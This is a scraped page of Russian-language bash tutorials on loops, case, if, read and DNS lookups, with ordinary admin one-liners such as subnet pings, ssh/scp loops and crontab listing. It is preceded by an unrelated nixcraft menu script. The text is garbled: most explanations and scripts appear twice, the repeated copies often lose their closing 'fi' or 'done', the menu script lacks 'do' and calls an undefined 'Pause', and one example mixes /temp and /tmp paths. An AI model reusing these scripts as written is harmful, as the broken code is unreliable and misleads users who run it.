#!/bin/bash

# Purpose: Display various options to operator using menus

# Author: Vivek Gite < vivek @ nixcraft . com > under GPL v2.0+

# ---------------------------------------------------------------------------

# capture CTRL+C, CTRL+Z and quit singles using the trap

trap '' SIGINT

trap '' SIGQUIT

trap '' SIGTSTP

# display message and pause

pause(){

local m="$@"

echo "$m"

read -p "Press [Enter] key to continue..." key

}

# set an

while :

# show menu

clear

echo "---------------------------------"

echo " M A I N - M E N U"

echo "---------------------------------"

echo "1. Show current date/time"

echo "2. Show what users are doing"

echo "3. Show top memory & cpu eating process"

echo "4. Show network stats"

echo "5. Exit"

echo "---------------------------------"

read -r -p "Enter your choice [1-5] : " c

# take action

case $c in

1) pause "$(date)";;

2) w| less;;

3) echo '*** Top 10 Memory eating process:'; ps -auxf | sort -nr -k 4 | head -10;

echo; echo '*** Top 10 CPU eating process:';ps -auxf | sort -nr -k 3 | head -10;

echo; pause;;

4) netstat -s | less;;

5) break;;

*) Pause "Select between 1 to 5 only"

esac

done

bash

bash for

Автор записи Автор: Evgeny Yakovlev
Дата записи 2019/08/12

For-циклы:

Циклы в bash создаются с помощью трех команд. Команда for осуществляет цикл со всеми элементами указанного списка. 
Команда while выполняет цикл до тех пор, пока указанное условие не перестанет выполняться. 
Команда until, наоборот, осуществляет цикл до тех пор, пока указанное условие не будет выполнено. 
Все три цикла можно досрочно завершить командой break. 
Команда continue пропускает оставшуюся часть тела цикла и запускает цикл заново.
В первом примере переменной i по очереди присваиваются последовательности символов a, b и с. 
В теле цикла между do и done выводится содержимое переменной. 
Обратите внимание, что в конце списка, а также в конце команды echo необходимо поставить точку с запятой. 
Отказаться от этих точек с запятой можно лишь тогда, когда ввод разделен на несколько строк (часто такое случается в сценарных файлах).

Список для for может быть построен с использованием джокерных символов для имен файлов или с использованием конструкций вида {..}, 
с помощью которых создаются последовательности символов. 

(В Linux/UNIX тильда (~) в конце имени файла обычно означает резервную копию. 
При работе с командой ср выражение $file всякий раз ставится в кавычках, 
чтобы имена файлов, содержащие пробелы, обрабатывались правильно.)

Если циклы for создаются без in ..., то переменные циклов получают по порядку все параметры, 
переданные при вызове (то есть это соответствует in $*). Похож на цикл case.
Но когда в примере с case передаются имена файлов, содержащие пробелы, без проблем не обходится. 
Bash интерпретирует пробелы как разделительные знаки и обрабатывает части имени файла отдельно.

Команда while выполняет цикл до тех пор, пока указанное условие не перестанет выполняться.

Команда until, наоборот, осуществляет цикл до тех пор, пока указанное условие не будет выполнено.

Все три цикла можно досрочно завершить командой break.

Команда continue пропускает оставшуюся часть тела цикла и запускает цикл заново.

В первом примере переменной i по очереди присваиваются последовательности символов a, b и с.

В теле цикла между do и done выводится содержимое переменной.

Обратите внимание, что в конце списка, а также в конце команды echo необходимо поставить точку с запятой.

с помощью которых создаются последовательности символов.

(В Linux/UNIX тильда (~) в конце имени файла обычно означает резервную копию.

При работе с командой ср выражение $file всякий раз ставится в кавычках,

чтобы имена файлов, содержащие пробелы, обрабатывались правильно.)

Если циклы for создаются без in ..., то переменные циклов получают по порядку все параметры,

переданные при вызове (то есть это соответствует in $*). Похож на цикл case.

Но когда в примере с case передаются имена файлов, содержащие пробелы, без проблем не обходится.

Bash интерпретирует пробелы как разделительные знаки и обрабатывает части имени файла отдельно.

Пример 0 (консоль):

for i in a b с; do echo $i; done

1	for i in a b с; do echo $i; done

Пример 0 (скрипт):

#! /bin/sh
for i in a b c; do 
 echo $i 
done

#! /bin/sh

for i in a b c; do

echo $i

done

Пример 1 (консоль(все файлы *. tex копируются в *.tex~.)):

for file in *.tex; do cp "$file" "$file~"; done

1	for file in *.tex; do cp "$file" "$file~"; done

Пример 2:

#!/bin/bash
# Цикл проходит через все
# правильно справляется с пробелами в именах файлов
for i in "$@"; do 
 ls -l  "$i" 
done

#!/bin/bash

# Цикл проходит через все

# правильно справляется с пробелами в именах файлов

for i in "$@"; do

ls -l "$i"

done

Пример 3:

Выполняется команда ls и формируется список из файлов, дальше выводит содержимое файлов и каждый вывод отделается пустыми строками с #### и именем файла
for i in `ls` ;do echo -e "\\n#### $i \\n" && cat $i ;done

1 2	Выполняется команда ls и формируется список из файлов, дальше выводит содержимое файлов и каждый вывод отделается пустыми строками с #### и именем файла for i in `ls` ;do echo -e "\\n#### $i \\n" && cat $i ;done

Генерация списков и чисел:

for((i=1; i< 255; i++));do echo $i; done - генерируем число от 1 до 255 и выводим на экран

echo $(( RANDOM % (10 - 5 + 1 ) + 5 ))

seq -w 1 10000000000

for((i=1; i< 255; i++));do echo $i; done - генерируем число от 1 до 255 и выводим на экран

echo $(( RANDOM % (10 - 5 + 1 ) + 5 ))

seq -w 1 10000000000

Еще примеры:

# ping 
for ipz in $(for((i=1; i< 255; i++));do echo $i; done) ; do echo 192.168.15.$ipz >> ip_files.txt ; done

# ping 
for pingz in $(cut ip_files.txt); do ping -c1  $pingz ; done

# cut file
for user in $(cut -d':' -f1 /etc/passwd); do crontab -u $user -l; done

# sed edit file
for i in file1 file2 file3 ; do sed -i 's/123456/abvgd/g' /home/user/$i; done

# grep -R vnc /kvm/$(hostname -s)/*.xml | egrep -o "port='[0-9]+'" | sed -e "s/'//g" | awk -F"port=" '{print $2}' | sort -n

# openwrt hostname???
for i in `cat hosts.txt | tail -n 35 | grep -v "#"`; do echo " #### server IP = $i ###" && ssh root@$i uci get  system.@system[0].hostname; done

# parse MAC
for i in `cat hosts.txt | tail -n 39 | grep -v "#"`; do ssh $i ip a | grep ether | awk '{print $2}' && echo ; done

# parse MAC print host
for i in `cat hosts.txt | tail -n 39 | grep -v "#"`; do ssh $i uci get  system.@system[0].hostname && ip a | grep ether | awk '{print $2}' && echo ; done

##parse maccc
for i in `cat hosts.txt | tail -n 39 | grep -v "#"`; do ssh $i fdddd="`uci get  system.@system[0].hostname`" && echo $fdddd  && ip a | grep ether | awk '{print $2}' && echo ; done

#scp file
for i in `cat hosts.txt | tail -n 39 | grep -v "#"`; do scp bat-hosts root@$i:/etc/bat-hosts; done

#scp nameserver 192.168.1.1
for i in `cat hosts.txt.ssh`; do scp resolv.conf ${i}:/etc/resolv.conf; done

#test scp resolv.conf
for i in `cat hosts.txt.ssh`; do ssh $i cat  /etc/resolv.conf; done

# ping

for ipz in $(for((i=1; i< 255; i++));do echo $i; done) ; do echo 192.168.15.$ipz >> ip_files.txt ; done

# ping

for pingz in $(cut ip_files.txt); do ping -c1 $pingz ; done

# cut file

for user in $(cut -d':' -f1 /etc/passwd); do crontab -u $user -l; done

# sed edit file

for i in file1 file2 file3 ; do sed -i 's/123456/abvgd/g' /home/user/$i; done

# grep -R vnc /kvm/$(hostname -s)/*.xml | egrep -o "port='[0-9]+'" | sed -e "s/'//g" | awk -F"port=" '{print $2}' | sort -n

# openwrt hostname???

for i in `cat hosts.txt | tail -n 35 | grep -v "#"`; do echo " #### server IP = $i ###" && ssh root@$i uci get system.@system[0].hostname; done

# parse MAC

for i in `cat hosts.txt | tail -n 39 | grep -v "#"`; do ssh $i ip a | grep ether | awk '{print $2}' && echo ; done

# parse MAC print host

for i in `cat hosts.txt | tail -n 39 | grep -v "#"`; do ssh $i uci get system.@system[0].hostname && ip a | grep ether | awk '{print $2}' && echo ; done

##parse maccc

for i in `cat hosts.txt | tail -n 39 | grep -v "#"`; do ssh $i fdddd="`uci get system.@system[0].hostname`" && echo $fdddd && ip a | grep ether | awk '{print $2}' && echo ; done

#scp file

for i in `cat hosts.txt | tail -n 39 | grep -v "#"`; do scp bat-hosts root@$i:/etc/bat-hosts; done

#scp nameserver 192.168.1.1

for i in `cat hosts.txt.ssh`; do scp resolv.conf ${i}:/etc/resolv.conf; done

#test scp resolv.conf

for i in `cat hosts.txt.ssh`; do ssh $i cat /etc/resolv.conf; done

bash

bash case

Автор записи Автор: Evgeny Yakovlev
Дата записи 2019/08/12

Case-условные переходы:

Конструкции case вводятся ключевым словом case, за которым следует параметр, предназначенный для анализа (обычно это переменная). 
После ключевого слова in можно указать несколько возможных шаблонов строки, с которыми будет сравниваться параметр. 
При этом могут использоваться те же джокерные символы, что и при работе с именами файлов. Шаблон завершается круглой скобкой, то есть, например, --*). 
Это делается для распознавания таких последовательностей, которые начинаются с двух знаков «минус». Несколько шаблонов можно отделять друг от друга символом |. 
В таком случае проверяются оба шаблона. Например, *. с | *. h) служит для распознавания файлов *. с и *. h в одном и том же ветвлении программы.

Команды, идущие вслед за скобками, должны завершаться двумя точками с запятой. 
Если потребуется переход else, то в качестве последнего шаблона необходимо указать * — такому шаблону будут соответствовать все последовательности символов. 

При обработке конструкции с case учитывается только первый переход, в котором параметр соответствует указанному шаблону.

В следующем примере casetst показано применение case для классификации переданных параметров на имена файлов. 
Цикл для переменной i выполняется со всеми параметрами, переданными файлу оболочки. 
В этом цикле каждый отдельный параметр анализируется с помощью case. 
Если параметр начинается с дефиса (-), то он находится в конце переменной opt, в противном случае — в конце dat.

Тестовый запуск файла оболочки на практике показывает, как работает этот простой оператор выбора. 
Параметры, переданные по порядку без сортировки, подразделяются на имена файлов и параметры:
user$ casetst -x -у datl dat2 -z dat3
Options:   -x -у -z 
Files: datl dat2 dat3

По тому же принципу условные переходы case могут использоваться для классификации определенных расширений файлов (путем указания поискового шаблона *.abc). 
Если вы хотите плотнее заняться case-анализом, посмотрите файл оболочки /usr/bin/gnroff. 
В нем дается синтаксис параметров, передаваемых nroff, в виде, понятном родственной команде groff.

Конструкции case вводятся ключевым словом case, за которым следует параметр, предназначенный для анализа (обычно это переменная).

После ключевого слова in можно указать несколько возможных шаблонов строки, с которыми будет сравниваться параметр.

При этом могут использоваться те же джокерные символы, что и при работе с именами файлов. Шаблон завершается круглой скобкой, то есть, например, --*).

Это делается для распознавания таких последовательностей, которые начинаются с двух знаков «минус». Несколько шаблонов можно отделять друг от друга символом |.

В таком случае проверяются оба шаблона. Например, *. с | *. h) служит для распознавания файлов *. с и *. h в одном и том же ветвлении программы.

Команды, идущие вслед за скобками, должны завершаться двумя точками с запятой.

Если потребуется переход else, то в качестве последнего шаблона необходимо указать * — такому шаблону будут соответствовать все последовательности символов.

При обработке конструкции с case учитывается только первый переход, в котором параметр соответствует указанному шаблону.

В следующем примере casetst показано применение case для классификации переданных параметров на имена файлов.

Цикл для переменной i выполняется со всеми параметрами, переданными файлу оболочки.

В этом цикле каждый отдельный параметр анализируется с помощью case.

Если параметр начинается с дефиса (-), то он находится в конце переменной opt, в противном случае — в конце dat.

Тестовый запуск файла оболочки на практике показывает, как работает этот простой оператор выбора.

Параметры, переданные по порядку без сортировки, подразделяются на имена файлов и параметры:

user$ casetst -x -у datl dat2 -z dat3

Options: -x -у -z

Files: datl dat2 dat3

По тому же принципу условные переходы case могут использоваться для классификации определенных расширений файлов (путем указания поискового шаблона *.abc).

Если вы хотите плотнее заняться case-анализом, посмотрите файл оболочки /usr/bin/gnroff.

В нем дается синтаксис параметров, передаваемых nroff, в виде, понятном родственной команде groff.

Пример скрипта casetst:

#! /bin/sh
# Пример casetst
 opt=     # Удаление opt и dat
 dat=

for i do   # Цикл для всех переданных параметров 
 case "$i" in
 -* ) opt="$opt $i";;
 * ) dat="$dat $i";; 
 esac
done     # Конец цикла 
 echo "Options: $opt" 
 echo "Files: $dat"

#! /bin/sh

# Пример casetst

opt= # Удаление opt и dat

dat=

for i do # Цикл для всех переданных параметров

case "$i" in

-* ) opt="$opt $i";;

* ) dat="$dat $i";;

esac

done # Конец цикла

echo "Options: $opt"

echo "Files: $dat"

bash

bash if

Автор записи Автор: Evgeny Yakovlev
Дата записи 2019/08/12

If-условные переходы:

В файле iftst с помощью if-запроса мы проверяем, были ли переданы два параметра. 
Если этого не произошло, выводится сообщение об ошибке. 
Программа завершается командой exit с возвращаемым значением, неравным нулю (индикатор ошибок). 
В противном случае содержимое обоих параметров выводится на экран.

Критерием для условного перехода является возвращаемое значение последней команды перед then. 
Если эта команда возвращает значение 0, то условие выполняется. 
Если then указывается в той же строке, что и предыдущая команда (без перехода на следующую), 
то команда должна завершаться точкой с запятой.

Условие может быть создано с помощью команды test оболочки bash. 
При этом оператор -ne означает «не равно» (not equal). Команда test применяется всякий раз, 
когда необходимо сравнить друг с другом две последовательности символов или два числа, 
когда необходимо проверить, существует ли файл, и т. д. 

Вместо test может использоваться краткий вариант в квадратных скобках. 
При этом перед названием команды [ и после него ] нужно ставить пробел.
Кроме того, из структуры if можно вычленить вторую команду echo, 
так как из-за наличия команд exit все строки кода, следующие за fi, 
будут выполняться только после того, как будет реализовано условие.

В файле iftst с помощью if-запроса мы проверяем, были ли переданы два параметра.

Если этого не произошло, выводится сообщение об ошибке.

Программа завершается командой exit с возвращаемым значением, неравным нулю (индикатор ошибок).

В противном случае содержимое обоих параметров выводится на экран.

Критерием для условного перехода является возвращаемое значение последней команды перед then.

Если эта команда возвращает значение 0, то условие выполняется.

Если then указывается в той же строке, что и предыдущая команда (без перехода на следующую),

то команда должна завершаться точкой с запятой.

Условие может быть создано с помощью команды test оболочки bash.

При этом оператор -ne означает «не равно» (not equal). Команда test применяется всякий раз,

когда необходимо сравнить друг с другом две последовательности символов или два числа,

когда необходимо проверить, существует ли файл, и т. д.

Вместо test может использоваться краткий вариант в квадратных скобках.

При этом перед названием команды [ и после него ] нужно ставить пробел.

Кроме того, из структуры if можно вычленить вторую команду echo,

так как из-за наличия команд exit все строки кода, следующие за fi,

будут выполняться только после того, как будет реализовано условие.

ВНИМАНИЕ:

Обратите внимание, что значение истинности (true) в bash равно 0, а ложности (false) — не равно 0. 
В большинстве других языков программирования значения прямо противоположны! 
Команды, завершаемые без ошибок, возвращают значение 0. 
Любое значение, не равное 0, указывает на ошибку. 
Некоторые команды возвращают различные значения в зависимости от типа ошибки.

Обратите внимание, что значение истинности (true) в bash равно 0, а ложности (false) — не равно 0.

В большинстве других языков программирования значения прямо противоположны!

Команды, завершаемые без ошибок, возвращают значение 0.

Любое значение, не равное 0, указывает на ошибку.

Некоторые команды возвращают различные значения в зависимости от типа ошибки.

Основы:

If-предложения в Bash очень похожи на аналогичные в других языках. 

Они следуют базовой форме:
if [[ "$some_variable" == "good input" ]]; then
  echo "You got the right input."
elif [[ "$some_variable" == "ok input" ]]; then
  echo "Close enough"
else
  echo "No way Jose."
fi

Дополнительный синтаксис в виде слова then, 
а также слегка странное закрывающее ключевое слово fi придает предложению немного экзотический вид, 
но в основе все то же самое, что и в других языках:
Если (if) что-то является истиной, тогда (then) выполни вот это. В противном случае проверяй другие условия по порядку и делай то же самое. 
Если ни одно из условий не сработало, выполни последнее указание.
Вы можете отбросить одну или все ветки elif, а также ветку else, если в них нет нужды!

If-предложения в Bash очень похожи на аналогичные в других языках.

Они следуют базовой форме:

if [[ "$some_variable" == "good input" ]]; then

echo "You got the right input."

elif [[ "$some_variable" == "ok input" ]]; then

echo "Close enough"

else

echo "No way Jose."

Дополнительный синтаксис в виде слова then,

а также слегка странное закрывающее ключевое слово fi придает предложению немного экзотический вид,

но в основе все то же самое, что и в других языках:

Если (if) что-то является истиной, тогда (then) выполни вот это. В противном случае проверяй другие условия по порядку и делай то же самое.

Если ни одно из условий не сработало, выполни последнее указание.

Вы можете отбросить одну или все ветки elif, а также ветку else, если в них нет нужды!

Булевы операторы:

Могут использоваться для комбинирования выражений, как и в других языках
! - нет/не
&& - и
|| - или
-lt - меньше, применяется в квадратных скобках []
-gt - больше, применяется в квадратных скобках []

[[ Двойные квадратные скобки ]] работают в целом так же, как и [одинарные квадратные скобки], 
но имеют дополнительные возможности вроде лучшей поддержки регулярных выражений.

(( Двойные круглые скобки )) это конструкция, позволяющая осуществлять арифметические вычисления внутри Bash. 

Пример:
if [[ "$name" == "Ryan" ]] && ! [[ "$time" -lt 2000 ]]; then
  echo "Sleeping"
elif [[ "$day" == "New Year's Eve" ]] || [[ "$coffee_intake" -gt 9000 ]]; then
  echo "Maybe awake"
else
  echo "Probably sleeping"
fi

Могут использоваться для комбинирования выражений, как и в других языках

! - нет/не

&& - и

|| - или

-lt - меньше, применяется в квадратных скобках []

-gt - больше, применяется в квадратных скобках []

[[ Двойные квадратные скобки ]] работают в целом так же, как и [одинарные квадратные скобки],

но имеют дополнительные возможности вроде лучшей поддержки регулярных выражений.

(( Двойные круглые скобки )) это конструкция, позволяющая осуществлять арифметические вычисления внутри Bash.

Пример:

if [[ "$name" == "Ryan" ]] && ! [[ "$time" -lt 2000 ]]; then

echo "Sleeping"

elif [[ "$day" == "New Year's Eve" ]] || [[ "$coffee_intake" -gt 9000 ]]; then

echo "Maybe awake"

else

echo "Probably sleeping"

Cкобки:

Порой вам встретятся двойные квадратные скобки, как в примере выше. 
А порой они будут одинарными:
if [ "$age" -gt 30 ]; then
  echo "What an oldy."
fi

Иногда могут быть и круглыми:
!!! обрати внимание на age, это переменная и оформлена без ${age}
if (( age > 30 )); then
  echo "Hey, 30 is the new 20, right?"
fi

А может и не быть:
if is_upper "$1"; then
  echo "Stop shouting at me."
fi

Что происходит на самом деле:
if ANY_COMMAND_YOU_WANT_AT_ALL; then
  # ... stuff to do
fi

Порой вам встретятся двойные квадратные скобки, как в примере выше.

А порой они будут одинарными:

if [ "$age" -gt 30 ]; then

echo "What an oldy."

Иногда могут быть и круглыми:

!!! обрати внимание на age, это переменная и оформлена без ${age}

if (( age > 30 )); then

echo "Hey, 30 is the new 20, right?"

А может и не быть:

if is_upper "$1"; then

echo "Stop shouting at me."

Что происходит на самом деле:

if ANY_COMMAND_YOU_WANT_AT_ALL; then

# ... stuff to do

Пример 0, скрипт iftst_v0:

#! /bin/sh
# Пример iftst_v0
if test $# -ne 2; then
 echo "Команде должно быть передано ровно два параметра!"
 exit 1 
else
 echo "Параметр 1: $1. Параметр 2: $2" 
fi

#! /bin/sh

# Пример iftst_v0

if test $# -ne 2; then

echo "Команде должно быть передано ровно два параметра!"

exit 1

else

echo "Параметр 1: $1. Параметр 2: $2"

Пример 0, скрипта iftst_v1:

#! /bin/sh
# Пример iftst_v1
if [ $# -ne 2 ]; then
 echo " Команде должно быть передано ровно два параметра!"
exit 1
fi
echo "Параметр 1: $1, Параметр 2: $2"

#! /bin/sh

# Пример iftst_v1

if [ $# -ne 2 ]; then

echo " Команде должно быть передано ровно два параметра!"

exit 1

echo "Параметр 1: $1, Параметр 2: $2"

Пример 1:

#!/bin/bash
a="`ls -al | wc -l`"
echo ${a}

if (( a > 2 )); then
    true
    echo "a > 2"
else
    false
    echo "a<2"
fi

#!/bin/bash

a="`ls -al | wc -l`"

echo ${a}

if (( a > 2 )); then

true

echo "a > 2"

else

false

echo "a<2"

Пример 2:

#!!! выполняем команду ls если выведет больше 2 то выполнится команда  ls /etc/
if (( `ls /home/ | wc -l` > 2)); then true ; else false ; fi && ls /etc/

1 2	#!!! выполняем команду ls если выведет больше 2 то выполнится команда ls /etc/ if (( `ls /home/ \| wc -l` > 2)); then true ; else false ; fi && ls /etc/

Пример 3:

#!!! Удаляем из каталога (/temp/33) каталог, если вывод ls (/temp/33) больше 1
if (( `ls /temp/33 | wc -l` > 1)); then
/usr/bin/find /tmp/33 -mindepth 1 -maxdepth 1 -type d | sort -n | head -n1 | while read LINE; do
    echo "[/tmp/33] ${LINE}"
    rm -rf "${LINE}"
done
fi

#!!! Удаляем из каталога (/temp/33) каталог, если вывод ls (/temp/33) больше 1

if (( `ls /temp/33 | wc -l` > 1)); then

/usr/bin/find /tmp/33 -mindepth 1 -maxdepth 1 -type d | sort -n | head -n1 | while read LINE; do

echo "[/tmp/33] ${LINE}"

rm -rf "${LINE}"

done

Пример 4:

#!!! определение свободного места
#!/bin/bash
freespace=`df -m | grep "/dev/sdb" | awk '{print $4}'`
if [ $freespace -le 700 ]
    then
    echo "Warning!!! On the Server running out of space on your hard drive. Freespace - "$freespace"Mb" | mail -s "FreeSpase on the Server" root@domain.com
fi

#!!! определение свободного места

#!/bin/bash

freespace=`df -m | grep "/dev/sdb" | awk '{print $4}'`

if [ $freespace -le 700 ]

then

echo "Warning!!! On the Server running out of space on your hard drive. Freespace - "$freespace"Mb" | mail -s "FreeSpase on the Server" root@domain.com

Пример 5:

#!!! Проверка маршрута для openvpn 
#!/bin/bash
# Script for cron, check if route to VPN server exists

route=`ip r | grep "85.143.252.68"`

if [ -z "$route" ]; then
    systemctl restart openvpn-client@MskLabSokolov.service
    logger "Route doesn't exist, restart OpenVPN client"
fi

#!!! Проверка маршрута для openvpn

#!/bin/bash

# Script for cron, check if route to VPN server exists

route=`ip r | grep "85.143.252.68"`

if [ -z "$route" ]; then

systemctl restart openvpn-client@MskLabSokolov.service

logger "Route doesn't exist, restart OpenVPN client"

Пример 6:

#!/bin/bash

list_net_ip="192.168.55 192.168.80 192.168.88 10.12.88"
ip_router="192.168.16.55"
i=99

for x in ${list_net_ip} ; do
      i=$(ip route | grep "${x}" 1>/dev/null ; echo $?)
      if ((i > 0)) ; then
       #echo -e "ip route add ${x} via ${ip_router}"
       ip route add ${x}.0/24 via ${ip_router}
      fi
done

#!/bin/bash

list_net_ip="192.168.55 192.168.80 192.168.88 10.12.88"

ip_router="192.168.16.55"

i=99

for x in ${list_net_ip} ; do

i=$(ip route | grep "${x}" 1>/dev/null ; echo $?)

if ((i > 0)) ; then

#echo -e "ip route add ${x} via ${ip_router}"

ip route add ${x}.0/24 via ${ip_router}

done

bash

bash read

Автор записи Автор: Evgeny Yakovlev
Дата записи 2019/08/12

Считывание переменных с помощью read:

С помощью bash-команды read можно обрабатывать пользовательский ввод. 
Как правило, для этого сначала с помощью echo задается краткий текст, сообщающий пользователю, какой ввод ожидается (например, у/n, числовое значение и т. д.). 
При этом целесообразно использовать параметр -n, позволяющий вводить данные сразу же после текста echo, а не со следующей строки. 
При выполнении последующей команды read bash ожидает от пользователя ввода строки и нажатия клавиши Enter. 
Возьмем программу, в которой цикл while выполняется до тех пор, пока в переменной а не окажется последовательность символов, удовлетворяющая определенным условиям. 

В следующем примере мы видим, как работает эта программа:
user$ readvar 
Введите число: a
Не верный ввод, повторите ввод, пожалуйста 
Введите число: 13
13


После ввода информации с помощью read все содержимое переменной удаляется посредством подстановки параметров, 
если последовательность включает любые символы, кроме цифр, знаков «минус» и пробелов. 
Правда, эта система контроля не идеальна (в соответствии с ней допускается как последовательность символов 12-34-5, так и 1234), но все же весьма эффективна.

С помощью bash-команды read можно обрабатывать пользовательский ввод.

Как правило, для этого сначала с помощью echo задается краткий текст, сообщающий пользователю, какой ввод ожидается (например, у/n, числовое значение и т. д.).

При этом целесообразно использовать параметр -n, позволяющий вводить данные сразу же после текста echo, а не со следующей строки.

При выполнении последующей команды read bash ожидает от пользователя ввода строки и нажатия клавиши Enter.

Возьмем программу, в которой цикл while выполняется до тех пор, пока в переменной а не окажется последовательность символов, удовлетворяющая определенным условиям.

В следующем примере мы видим, как работает эта программа:

user$ readvar

Введите число: a

Не верный ввод, повторите ввод, пожалуйста

Введите число: 13

После ввода информации с помощью read все содержимое переменной удаляется посредством подстановки параметров,

если последовательность включает любые символы, кроме цифр, знаков «минус» и пробелов.

Правда, эта система контроля не идеальна (в соответствии с ней допускается как последовательность символов 12-34-5, так и 1234), но все же весьма эффективна.

Скрипт readvar:

#! /bin/sh
# Пример readvar: считывание числового значения
a=                       # Удаление содержимого переменной а
while [ -z "$a" ]; do
 echo -n "Введите число: "
 read a  
 a=${a##*[^0-9,' ',-]*}  # Удаление последовательностей символов, 
                         # содержащих любые символы, кроме 0-9, знака "минус" и пробела 
 if [ -z "$a" ]; then
  echo "Неверный ввод, повторите ввод, пожалуйста "
 fi
done
echo $a

#! /bin/sh

# Пример readvar: считывание числового значения

a= # Удаление содержимого переменной а

while [ -z "$a" ]; do

echo -n "Введите число: "

read a

a=${a##*[^0-9,' ',-]*} # Удаление последовательностей символов,

# содержащих любые символы, кроме 0-9, знака "минус" и пробела

if [ -z "$a" ]; then

echo "Неверный ввод, повторите ввод, пожалуйста "

done

echo $a

bash

bash DNS

Автор записи Автор: Evgeny Yakovlev
Дата записи 2018/12/30

1. dns bash

#!/bin/bash
for name in $(cat dns.txt);do
host $name.b14esh.com | grep "has address" | cut -d" " -f4
done

#!/bin/bash

for name in $(cat dns.txt);do

host $name.b14esh.com | grep "has address" | cut -d" " -f4

done

2. dns bash

#!/bin/bash
for name in $(cat dns.txt);do
host $name.b14esh.com | grep "has address"
done

#!/bin/bash

for name in $(cat dns.txt);do

host $name.b14esh.com | grep "has address"

done

3. dns bash

#!/bin/bash
for name in $(cat dns.txt);do
host $name.b14esh.com
done

#!/bin/bash

for name in $(cat dns.txt);do

host $name.b14esh.com

done

4. dns.txt

mail
test
www

mail

test

www

bash

bash Длинные команды в *nix

Автор записи Автор: Evgeny Yakovlev
Дата записи 2018/12/24

Если команда слишком длинная, то в конце каждой строки ставится 
обратный слэш, обозначающий, что ввод данных продолжается 
до следующей строки, например:
# oggenc NewSong.wav -о NewSong.ogg \ 
-a Bernstein -G Classical \ 
-d 06/15/1972 -t "Simple Song" \ 
-l "Bernsteins Mass" \
-c info="From Kennedy Center"

Если команда слишком длинная, то в конце каждой строки ставится

обратный слэш, обозначающий, что ввод данных продолжается

до следующей строки, например:

# oggenc NewSong.wav -о NewSong.ogg \

-a Bernstein -G Classical \

-d 06/15/1972 -t "Simple Song" \

-l "Bernsteins Mass" \

-c info="From Kennedy Center"